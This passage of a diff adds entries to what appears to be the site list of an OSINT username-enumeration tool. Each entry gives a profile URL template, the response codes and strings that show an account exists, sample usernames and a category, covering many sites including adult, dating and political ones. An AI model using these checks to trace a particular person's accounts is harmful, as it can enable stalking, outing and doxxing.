"darkfox"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "coroflot", + "uri_check" : "https://www.coroflot.com/{account}", + "e_code" : 200, + "e_string" : "portfolio", + "m_string" : "Looking for something?", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Mastodon-counter.social", + "uri_check" : "https://counter.social/@{account}", + "e_code" : 200, + "e_string" : "@counter.social) - CounterSocial", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["ericconrad", "webbreacher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "cowboys4angels", + "uri_check" : "https://cowboys4angels.com/cowboy/{account}/", + "e_code" : 200, + "e_string" : " | Cowboys 4 Angels |", + "m_string" : "Elite Male Escorts", + "m_code" : 301, + "known" : ["jaxjames", "mike"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "cracked_io", + "uri_check" : "https://cracked.io/{account}", + "e_code" : 200, + "e_string" : "Cracked.io - Profile of", + "m_string" : "The member you specified is either invalid or doesn't exist", + "m_code" : 404, + "known" : ["RealPsycho", "SamWinchester"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cracked", + "uri_check" : "https://www.cracked.com/members/{account}", + "e_code" : 200, + "e_string" : "Member Since", + "m_string" : "", + "m_code" : 302, + "known" : ["mbattagl","Hatchback"], + "cat" : "social", + "valid" : true + }, + { + "name" : "crevado", + "uri_check" : "https://{account}.crevado.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "Portfolio", + "m_string" : "Site not found :-(", + "m_code" : 404, + "known" : ["john", "red"], + "cat" : "images", + "valid" : true + }, + { + "name" : "crowdin", + "uri_check" : "https://crowdin.com/profile/{account}", + "e_code" : 200, + "e_string" : ") – Crowdin", + "m_string" : "Page Not Found - Crowdin", + "m_code" : 404, + "known" : ["alex", "peter"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Cults3D", + "uri_check" : "https://cults3d.com/en/users/{account}/creations", + "e_code" : 200, + "e_string" : "All the 3D models of", + "m_string" : "Oh dear, this page is not working!", + "m_code" : 404, + "known" : ["Bstar3Dart", "john"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Curiouscat", + "uri_check" : "https://curiouscat.live/api/v2.1/profile?username={account}", + "uri_pretty" : "https://curiouscat.live/{account}", + "e_code" : 200, + "e_string" : "is_followed_by_me", + "m_code" : 200, + "m_string" : "\"error\": 404", + "known" : ["kindokja9158", "saki"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Cytoid", + "uri_check" : "https://cytoid.io/profile/{account}", + "e_code" : 200, + "e_string" : "Joined", + "m_code" : 404, + "m_string" : "Profile not found", + "known" : ["nyala", "speedymlg7"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Dailymotion", + "uri_check" : "https://www.dailymotion.com/{account}", + "e_code" : 200, + "e_string" : "og:url", + "m_string" : "404 Page not found", + "m_code" : 404, + "known" : ["WeHappyKids", "john"], + "cat" : "video", + "valid" : true + }, + { + "name" : "darudar", + "uri_check" : "https://darudar.org/users/{account}/", + "e_code" : 200, + "e_string" : ". Дарудар", + "m_string" : "404. Дару~дар: миру~мир!", + "m_code" : 404, + "known" : ["svetlana7", "igor"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "datezone", + "uri_check" : "https://www.datezone.com/users/{account}/", + "e_code" : 200, + "e_string" : "profile_status", + "m_string" : "Błąd wczytywania", + "m_code" : 200, + "known" : ["gpower550","tgoat2022"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "dateinasia", + "uri_check" : "https://www.dateinasia.com/{account}", + "e_code" : 200, + "e_string" : "About me", + "m_string" : "The page you are looking for does not exist", + "m_code" : 404, + "known" : ["Lars01", "janeferater"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Dating.ru", + "uri_check" : "https://dating.ru/{account}/", + "e_code" : 200, + "e_string" : "| dating.ru", + "m_string" : "Такой страницы не существует.", + "m_code" : 404, + "known" : ["john", "blue"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Mastodon-Defcon", + "uri_check" : "https://defcon.social/@{account}", + "e_code" : 200, + "e_string" : "- DEF CON Social", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["defcon", "buttersnatcher"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Demotywatory", + "uri_check" : "https://demotywatory.pl/user/{account}", + "e_code" : 200, + "e_string" : "Z nami od:", + "m_string" : "Użytkownik o podanym pseudonimie nie istnieje.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "images", + "valid" : true + }, + { + "name" : "depop", + "uri_check" : "https://www.depop.com/{account}/", + "e_code" : 200, + "e_string" : "s Shop - Depop", + "m_string" : "Sorry, that page doesn't exist", + "m_code" : 404, + "known" : ["sara", "susan"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Designspriation", + "uri_check" : "https://www.designspiration.com/{account}/", + "e_code" : 200, + "e_string" : "has discovered on Designspiration", + "m_string" : "Content Not Found", + "m_code" : 404, + "known" : ["sam", "smith"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Destructoid", + "uri_check" : "https://www.destructoid.com/?name={account}", + "e_code" : 200, + "e_string" : "Follow", + "m_string" : "Error in query", + "m_code" : 200, + "known" : ["john", "alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "DeviantArt", + "uri_check" : "https://www.deviantart.com/{account}", + "e_code" : 200, + "e_string" : " | DeviantArt", + "m_string" : "DeviantArt: 404", + "m_code" : 404, + "known" : ["rattybike", "john"], + "cat" : "images", + "valid" : true + }, + { + "name" : "dev.to", + "uri_check" : "https://dev.to/{account}", + "e_code" : 200, + "e_string" : "- DEV", + "m_string" : "This page does not exist", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "devRant", + "uri_check" : "https://devrant.com/users/{account}", + "e_code" : 200, + "e_string" : "Joined devRant on", + "m_string" : "", + "m_code" : 302, + "known" : ["dfox", "trogus"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "dfgames", + "uri_check" : "https://www.dfgames.com.br/user/{account}", + "e_code" : 200, + "e_string" : "Reputa", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["carlos01", "eduardo"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Diablo", + "uri_check" : "https://diablo2.io/member/{account}/", + "e_code" : 200, + "e_string" :"Viewing profile - ", + "m_string" : "The requested user does not exist", + "m_code" : 404, + "known" : ["Mike01", "John"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "diigo", + "uri_check" : "https://www.diigo.com/interact_api/load_profile_info?name={account}", + "uri_pretty" : "https://www.diigo.com/profile/{account}", + "e_code" : 200, + "e_string" : "regist_at", + "m_string" : "{}", + "m_code" : 200, + "known" : ["whoami", "johndoe"], + "cat" : "images", + "valid" : true + }, + { + "name" : "DIBIZ", + "uri_check" : "https://www.dibiz.com/{account}", + "e_code" : 200, + "e_string" : "mailto:?subject=", + "m_string" : "An Error Has Occurred", + "m_code" : 404, + "known" : ["fractalhue", "rid"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Digitalspy", + "uri_check" : "https://forums.digitalspy.com/profile/discussions/{account}", + "e_code" : 200, + "e_string" : "About", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["JeffG1", "Maxatoria"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Disabled.rocks (Mastodon Instance)", + "uri_check" : "https://disabled.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://disabled.rocks/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["McCullohMD", "empressofcheer"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Discogs", + "uri_check" : "https://www.discogs.com/user/{account}", + "e_code" : 200, + "e_string" : "Joined on", + "m_code" : 404, + "m_string" : "We couldn't find that page.", + "known" : ["7jlong", "venetian-guy"], + "cat" : "music", + "valid" : true + }, + { + "name" : "Discourse", + "uri_check" : "https://meta.discourse.org/u/{account}/summary.json", + "uri_pretty" : "https://meta.discourse.org/u/{account}", + "e_code" : 200, + "e_string" : "topics", + "m_code" : 404, + "m_string" : "The requested URL or resource could not be found.", + "known" : ["ndalliard", "gerhard"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "discuss.elastic.co", + "uri_check" : "https://discuss.elastic.co/u/{account}", + "e_code" : 200, + "e_string" : " Profile", + "m_string" : "Oops!", + "m_code" : 404, + "known" : ["whoami", "johndoe"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Discuss.social (Mastodon Instance)", + "uri_check" : "https://discuss.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://discuss.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["dan", "itepe18"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Dissenter", + "uri_check" : "https://dissenter.com/user/{account}", + "e_code" : 200, + "e_string" : "Dissenter | The Comment Section of the Internet", + "m_string" : "That user is not registered here.", + "m_code" : 404, + "known" : ["pryerlee", "archdukeofevil"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Disqus", + "uri_check" : "https://disqus.com/by/{account}/", + "e_code" : 200, + "e_string" : "<title>Disqus Profile", + "m_string" : "Page not found (404) - Disqus", + "m_code" : 404, + "known" : ["Aristotelian1", "50calibercat"], + "cat" : "social", + "valid" : true + }, + { + "name" : "DockerHub", + "uri_check" : "https://hub.docker.com/v2/users/{account}/", + "e_code" : 200, + "e_string" : "username", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["soxoj", "torvalds"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Donation Alerts", + "uri_check" : "https://www.donationalerts.com/api/v1/user/{account}/donationpagesettings", + "uri_pretty" : "https://www.donationalerts.com/r/{account}", + "e_code" : 200, + "e_string" : "background_image_url", + "m_code" : 202, + "m_string" : "does not exist", + "known" : ["gorou", "saku"], + "cat" : "business", + "valid" : true + }, + { + "name" : "dot.cards", + "uri_check" : "https://dot.cards/{account}", + "e_code" : 200, + "e_string" : "'s dot.Profile", + "m_string" : "Username does not exist.", + "m_code" : 404, + "known" : ["dakmusic", "seattlevoiceactor"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Dojoverse", + "uri_check" : "https://dojoverse.com/members/{account}/", + "e_code" : 200, + "e_string" : "Joined", + "m_string" : "Looks like you got lost!.", + "m_code" : 404, + "known" : ["eric", "danielrivera10927"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Dribbble", + "uri_check" : "https://dribbble.com/{account}", + "e_code" : 200, + "e_string" : " | Dribbble", + "m_string" : "(404)", + "m_code" : 404, + "known" : ["UI8", "keeplegend"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Droners", + "uri_check" : "https://droners.io/accounts/{account}/", + "e_code" : 200, + "e_string" : "- Professional Drone Pilot", + "m_string" : "(404)", + "m_code" : 302, + "known" : ["chriskahn", "swilken"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Drum", + "uri_check" : "https://drum.io/{account}/", + "e_code" : 200, + "e_string" : "firstName", + "m_string" : "Page not found", + "m_code" : 302, + "known" : ["kingdirtdig", "oscarqbdrums"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Duolingo", + "uri_check" : "https://www.duolingo.com/2017-06-30/users?username={account}&_=1628308619574", + "uri_pretty" : "https://www.duolingo.com/profile/{account}", + "e_code" : 200, + "e_string" : "joinedClassroomIds", + "m_string" : "\"users\" : []", + "m_code" : 200, + "known" : ["sdfsdf", "duolingo"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "easyen", + "uri_check" : "https://easyen.ru/index/8-0-{account}", + "e_code" : 200, + "e_string" : "День рождения", + "m_string" : "Пользователь не найден", + "m_code" : 200, + "known" : ["wd"], + "cat" : "social", + "valid" : true + }, + { + "name" : "eBay", + "uri_check" : "https://www.ebay.com/usr/{account}", + "e_code" : 200, + "e_string" : "on eBay", + "m_string" : "The User ID you entered was not found", + "m_code" : 200, + "known" : ["the_gqs", "johnny"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "ebay_stores", + "uri_check" : "https://www.ebay.com/str/{account}", + "e_code" : 200, + "e_string" : "| eBay Stores", + "m_string" : "Sorry, this store was not found.", + "m_code" : 410, + "known" : ["tactical", "tactical-security"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Ello.co", + "uri_check" : "https://ello.co/{account}", + "e_code" : 200, + "e_string" : "| Ello", + "m_string" : "| [404] Not Found", + "m_code" : 404, + "known" : ["john", "franalvez"], + "cat" : "art", + "valid" : true + }, + { + "name" : "Engadget", + "uri_check" : "https://www.engadget.com/about/editors/{account}/", + "e_code" : 200, + "e_string" : "- Engadget", + "m_string" : ", -", + "m_code" : 404, + "known" : ["devindra-hardawar", "kris-holt"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "EPORNER", + "uri_check" : "https://www.eporner.com/profile/{account}/", + "e_code" : 200, + "e_string" : "Video/Pics views", + "m_string" : "Profile not found", + "m_code" : 404, + "known" : ["enron456", "Jomat999", "hicnobu"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Etsy", + "uri_check" : "https://www.etsy.com/people/{account}", + "e_code" : 200, + "e_string" : " on Etsy", + "m_string" : "Sorry, the member you are looking for does not exist", + "m_code" : 404, + "known" : ["david", "happiness"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Mastodon-EU_Voice", + "uri_pretty" : "https://social.network.europa.eu/@{account}", + "uri_check" : "https://social.network.europa.eu/api/v1/accounts/lookup?acct={account}", + "e_code" : 200, + "e_string" : "social.network.europa.eu", + "m_string" : "The page you are looking for isn't here.", + "m_code" : 404, + "known" : ["EC_DIGIT", "EUSPA"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Expressional.social (Mastodon Instance)", + "uri_check" : "https://expressional.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://expressional.social/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["jippi", "poolesen"], + "cat" : "social", + "valid" : true + }, + { + "name" : "ExtraLunchMoney", + "uri_check" : "https://extralunchmoney.com/user/{account}", + "e_code" : 200, + "e_string" : "Public Profile Page", + "m_string" : "Closed Profile Page", + "m_code" : 404, + "known" : ["ThatWitchMaeve", "Nudekiki"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Eyeem", + "uri_check" : "https://www.eyeem.com/u/{account}", + "e_code" : 200, + "e_string" : "| EyeEm Photographer", + "m_string" : "Not Found (404) | EyeEm", + "m_code" : 301, + "known" : ["john", "bob"], + "cat" : "art", + "valid" : true + }, + { + "name" : "F3", + "uri_check" : "https://f3.cool/{account}", + "e_code" : 200, + "e_string" : "@", + "m_string" : "Page Not Found - F3", + "m_code" : 404, + "known" : ["nick", "john"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fabswingers", + "uri_check" : "https://www.fabswingers.com/profile/{account}", + "e_code" : 200, + "e_string" : "View Profile", + "m_string" : "The user you tried to view doesn't seem to be on the site any more", + "m_code" : 200, + "known" : ["naughty_nymphomaniac", "hellfireclub", "fabswingers.com"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Faktopedia", + "uri_check" : "https://faktopedia.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zamieszcza fakty od:", + "m_string" : "Nie znaleziono użytkownika o podanym loginie.", + "m_code" : 200, + "known" : ["janek", "ania"], + "cat" : "images", + "valid" : true + }, + { + "name" : "FanCentro", + "uri_check" : "https://fancentro.com/api/profile.get?profileAlias={account}&limit=1", + "uri_pretty" : "https://fancentro.com/{account}/", + "e_code" : 200, + "e_string" : "\"status\" :true", + "m_string" : "\"status\" :false", + "m_code" : 200, + "known" : ["medroxy","miaaamador"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "fandalism", + "uri_check" : "https://fandalism.com/{account}", + "e_code" : 200, + "e_string" : "fandalism_:user", + "m_string" : "404 - File or directory not found", + "m_code" : 404, + "known" : ["mike", "ted"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Fandom", + "uri_check" : "https://www.fandom.com/u/{account}", + "e_code" : 200, + "e_string" : "| Profile | Fandom", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["EJacobs94", "Drew_Dietsch"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "fanpop", + "uri_check" : "https://www.fanpop.com/fans/{account}", + "e_code" : 200, + "e_string" : "Fanpopping since", + "m_string" : "", + "m_code" : 302, + "known" : ["test", "johndoe"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fark", + "uri_check" : "https://www.fark.com/users/{account}", + "e_code" : 200, + "e_string" : "Fark account number", + "m_string" : "Tastes like chicken.", + "m_code" : 200, + "known" : ["bob", "bobby"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Farkascity", + "uri_check" : "https://farkascity.org/{account}/", + "e_code" : 200, + "e_string" : "blog-title", + "m_code" : 404, + "m_string" : "Are you sure it was ever here?", + "known" : ["gutimet", "nlowell"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "fansly", + "uri_check" : "https://apiv2.fansly.com/api/v1/account?usernames={account}", + "uri_pretty" : "https://fansly.com/{account}/posts", + "e_code" : 200, + "e_string" : "username", + "m_string" : "response: []", + "m_code" : 200, + "known" : ["Mikomin","test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "FatSecret", + "uri_check" : "https://www.fatsecret.com/member/{account}", + "e_code" : 200, + "e_string" : "- Member", + "m_string" : "Your Key to Success", + "m_code" : 302, + "known" : ["bob", "bobby"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Federated.press (Mastodon Instance)", + "uri_check" : "https://federated.press/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://federated.press/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["wood", "cliffcheney"], + "cat" : "social", + "valid" : true + }, + { + "name" : "fcv", + "uri_check" : "https://fcv.if.ua/index.php/component/comprofiler/userprofile/{account}/", + "e_code" : 200, + "e_string" : "сторінка профілю", + "m_string" : "Цей профіль або більше не існує або більше не доступний", + "m_code" : 200, + "known" : ["Ruslan", "oleg"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "figma", + "uri_check" : "https://www.figma.com/@{account}", + "e_code" : 200, + "e_string" : ") on Figma Community", + "m_string" : "The page you are looking for can't be found.", + "m_code" : 404, + "known" : ["bob", "mike"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Filmweb", + "uri_check" : "https://www.filmweb.pl/user/{account}", + "e_code" : 200, + "e_string" : "Na filmwebie od", + "m_string" : "Przepraszamy. Strona, której szukasz nie została odnaleziona.", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "fine_art_america", + "uri_check" : "https://fineartamerica.com/profiles/{account}", + "e_code" : 200, + "e_string" : "Shop for artwork by", + "m_string" : "Browse through millions of independent artists in our extensive", + "m_code" : 301, + "known" : ["scott-norris", "mary-helmreich"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Fiverr", + "uri_check" : "https://www.fiverr.com/{account}", + "e_code" : 200, + "e_string" : "member-since", + "m_string" : "", + "m_code" : 302, + "known" : ["yellowdd", "samanvay"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Flickr", + "uri_check" : "https://www.flickr.com/photos/{account}/", + "e_code" : 200, + "e_string" : "| Flickr", + "m_string" : "", + "m_code" : 404, + "known" : ["glaciernps", "test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Flipboard", + "uri_check" : "https://flipboard.com/@{account}", + "e_code" : 200, + "e_string" : ") on Flipboard", + "m_string" : "", + "m_code" : 404, + "known" : ["cosmopolitan", "Mashable"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "flowcode", + "uri_check" : "https://www.flowcode.com/page/{account}", + "e_code" : 200, + "e_string" : ";s Flowpage", + "m_string" : "Nobody's reserved this Flowpage yet.", + "m_code" : 404, + "known" : ["evdokia", "irina"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fodors Forum", + "uri_check" : "https://www.fodors.com/community/profile/{account}/forum-activity", + "e_code" : 200, + "e_string" : "Member since", + "m_string" : "Plan Your Trip Online", + "m_code" : 302, + "known" : ["mms", "gooster"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Fortnite Tracker", + "uri_check" : "https://fortnitetracker.com/profile/all/{account}", + "e_code" : 200, + "e_string" : "s Fortnite Stats - Fortnite Tracker", + "m_string" : "Fortnite Player Stats -", + "m_code" : 404, + "known" : ["steph", "sam"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "forumprawne.org", + "uri_check" : "https://forumprawne.org/members/{account}.html", + "e_code" : 200, + "e_string" : "Wiadomość", + "m_string" : "", + "m_code" : 500, + "known" : ["test", "test2"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Fosstodon.org (Mastodon Instance)", + "uri_check" : "https://fosstodon.org/api/v1/accounts/lookup?acct={account}", + "uri_pretty" : "https://fosstodon.org/@{account}", + "e_code" : 200, + "e_string" : "display_name", + "m_code" : 404, + "m_string" : "Record not found", + "known" : ["linux", "Phil35"], + "cat" : "social", + "valid" : true + }, + { + "name" : "fotka", + "uri_check" : "https://api.fotka.com/v2/user/dataStatic?login={account}", + "uri_pretty" : "https://fotka.com/profil/{account}", + "e_code" : 200, + "e_string" : "profil", + "m_string" : "ERROR", + "m_code" : 200, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Foursquare", + "uri_check" : "https://foursquare.com/{account}", + "e_code" : 200, + "e_string" : "on Foursquare", + "m_string" : "Foursquare - Independent Location Data Platform", + "m_code" : 302, + "known" : ["john", "ncyp23"], + "cat" : "social", + "valid" : true + }, + { + "name" : "freelancer", + "uri_check" : "https://www.freelancer.com/u/{account}", + "e_code" : 200, + "e_string" : "> joined", + "m_string" : "Looks like the page you are looking for doesn't exist.", + "m_code" : 404, + "known" : ["desiaunty", "creatvmind"], + "cat" : "business", + "valid" : true + }, + { + "name" : "freesound", + "uri_check" : "https://freesound.org/people/{account}/", + "e_code" : 200, + "e_string" : "START of Content area", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["test", "JohnDoe"], + "cat" : "music", + "valid" : true + }, + { + "name" : "FriendFinder", + "uri_check" : "https://friendfinder.com/profile/{account}", + "e_code" : 200, + "e_string" : "Last Visit:", + "m_string" : "302 Found", + "m_code" : 302, + "known" : ["alex56", "john"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "FriendFinder-X", + "uri_check" : "https://www.friendfinder-x.com/profile/{account}", + "e_code" : 200, + "e_string" : "'s Dating Profile on FriendFinder-x", + "m_string" : "The document has moved", + "m_code" : 302, + "known" : ["john"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Friendweb", + "uri_check" : "https://friendweb.nl/{account}", + "e_code" : 200, + "e_string" : "friendweb.nl", + "m_string" : "Page Not Found", + "m_code" : 404, + "known" : ["HoogtePiet", "JeePee"], + "cat" : "social", + "valid" : true + }, + { + "name" : "FurAffinity", + "uri_check" : "https://www.furaffinity.net/user/{account}", + "e_code" : 200, + "e_string" : "Userpage of", + "m_string" : "user cannot be found", + "m_code" : 200, + "known" : ["karintina", "mikrogoat"], + "cat" : "images", + "valid" : true + }, + { + "name" : "Furiffic", + "uri_check" : "https://www.furiffic.com/{account}", + "e_code" : 200, + "e_string" : "Registered Since", + "m_string" : "<title>Whoops · Furiffic", + "m_code" : 404, + "known" : ["furiffic", "test", "admin"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Gab", + "uri_check" : "https://gab.com/api/v1/account_by_username/{account}", + "uri_pretty" : "https://gab.com/{account}", + "e_code" : 200, + "e_string" : "followers_count", + "m_string" : "Record not found", + "m_code" : 404, + "known" : ["RealMarjorieGreene", "LaurenBoebert"], + "cat" : "political", + "valid" : true + }, + { + "name" : "game_debate", + "uri_check" : "https://www.game-debate.com/profile/{account}", + "e_code" : 200, + "e_string" : "| , , GB pc game performance", + "m_string" : "Not Found", + "m_code" : 404, + "known" : ["Johnboy", "Crazy"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Game Jolt", + "uri_check" : "https://gamejolt.com/site-api/web/profile/@{account}/", + "uri_pretty" : "https://gamejolt.com/@{account}", + "e_code" : 200, + "e_string" : "created_on", + "m_string" : "null,", + "m_code" : 404, + "known" : ["nilllzz", "KorbloxTeams"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Gamespot", + "uri_check" : "https://www.gamespot.com/profile/{account}/", + "e_code" : 200, + "e_string" : "'s Profile - GameSpot", + "m_string" : "404: Not Found - GameSpot", + "m_code" : 200, + "known" : ["alice", "bob"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Garmin connect", + "uri_check" : "https://connect.garmin.com/modern/profile/{account}", + "e_code" : 200, + "e_string" : "window.ERROR_VIEW = null", + "m_string" : "resourceNotFoundRoute", + "m_code" : 200, + "known" : ["danielebarison", "cderalow"], + "cat" : "health", + "valid" : true + }, + { + "name" : "Geocaching", + "uri_check" : "https://www.geocaching.com/p/?u={account}", + "e_code" : 200, + "e_string" : "Groundspeak - User Profile", + "m_string" : "Error 404: DNF", + "m_code" : 404, + "known" : ["moun10bike", "niraD"], + "cat" : "social", + "valid" : true + }, + { + "name" : "getmonero", + "uri_check" : "https://forum.getmonero.org/user/{account}", + "e_code" : 200, + "e_string" :"Monero | User", + "m_string" : "Monero | Page not found. Error: 404", + "m_code" : 200, + "known" : ["silverfox", "monero"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Gettr", + "uri_check" : "https://api.gettr.com/s/user/{account}/exist", + "uri_pretty" : "https://gettr.com/user/{account}", + "e_code" : 200, + "e_string" : "success\":{", + "m_string" : "success\":false", + "m_code" : 200, + "known" : ["gettr", "support"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gfycat", + "uri_check" : "https://gfycat.com/@{account}", + "e_code" : 200, + "e_string" : "gfycat-username", + "m_string" : "

    Page not found

    ", + "m_code" : 404, + "known" : ["timviechanoi", "sannahparker"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Gigapan", + "uri_check" : "https://www.gigapan.com/profiles/{account}", + "e_code" : 200, + "e_string" : "width=\"100\"", + "m_string" : "View Gigapans", + "m_code" : 404, + "known" : ["test", "lucahammer"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Giphy", + "uri_check" : "https://giphy.com/channel/{account}", + "e_code" : 200, + "e_string" : "Share on GIPHY", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["buzz", "test"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Girlfriendsmeet", + "uri_check" : "http://www.girlfriendsmeet.com/profile/{account}", + "e_code" : 200, + "e_string" : "online dating profile", + "m_string" : "Page not found", + "m_code" : 404, + "known" : ["john", "junech"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "gitea", + "uri_check" : "https://gitea.com/{account}", + "e_code" : 200, + "e_string" : "(Git with a cup of tea)", + "m_string" : "Not found.", + "m_code" : 404, + "known" : ["xin", "dev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "giters", + "uri_check" : "https://giters.com/{account}", + "e_code" : 200, + "e_string" : " - Giters", + "m_string" : "This page could not be found", + "m_code" : 404, + "known" : ["WebBreacher", "C3n7ral051nt4g3ncy"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "GitHub", + "uri_check" : "https://github.com/{account}", + "e_code" : 200, + "e_string" : "p-nickname vcard-username d-block", + "m_string" : "Page not found ", + "m_code" : 404, + "known" : ["test", "WebBreacher"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "GitLab", + "uri_check" : "https://gitlab.com/{account}", + "e_code" : 200, + "e_string" : "Member since", + "m_string" : "GitLab.com offers free unlimited", + "m_code" : 302, + "known" : ["skennedy", "KennBro", "alex", "bob"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "gitee", + "uri_check" : "https://gitee.com/{account}", + "e_code" : 200, + "e_string" : "Commits, issues, and pull requests will appear", + "m_string" : "Gitee is more than a development platform", + "m_code" : 404, + "known" : ["maxim"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "gloria.tv", + "uri_check" : "https://gloria.tv/{account}", + "e_code" : 200, + "e_string" : "Last online", + "m_string" : "Page unavailable", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "gnome_extensions", + "uri_check" : "https://extensions.gnome.org/accounts/profile/{account}", + "e_code" : 200, + "e_string" : "s Profile - GNOME Shell Extensions", + "m_string" : "Uh oh...", + "m_code" : 400, + "known" : ["johnny", "dev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "Goodgame_Russia", + "uri_check" : "https://goodgame.ru/channel/{account}/", + "e_code" : 200, + "e_string" : "Онлайн-трансляция", + "m_string" : "Такой страницы не существует", + "m_code" : 400, + "known" : ["ejysarmat", "gegeboyz"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "gpodder.net", + "uri_check" : "https://gpodder.net/user/{account}/", + "e_code" : 200, + "e_string" : "mdash; gpodder.net", + "m_string" : "404 - Not found", + "m_code" : 404, + "known" : ["blue", "red"], + "cat" : "music", + "valid" : true + }, + { + "name" : "grandprof", + "uri_check" : "https://grandprof.org/communaute/{account}", + "e_code" : 200, + "e_string" : "s Profile", + "m_string" : "Mauvaise pioche", + "m_code" : 404, + "known" : ["mohamed01", "amine"], + "cat" : "misc", + "valid" : true + }, + { + "name" : 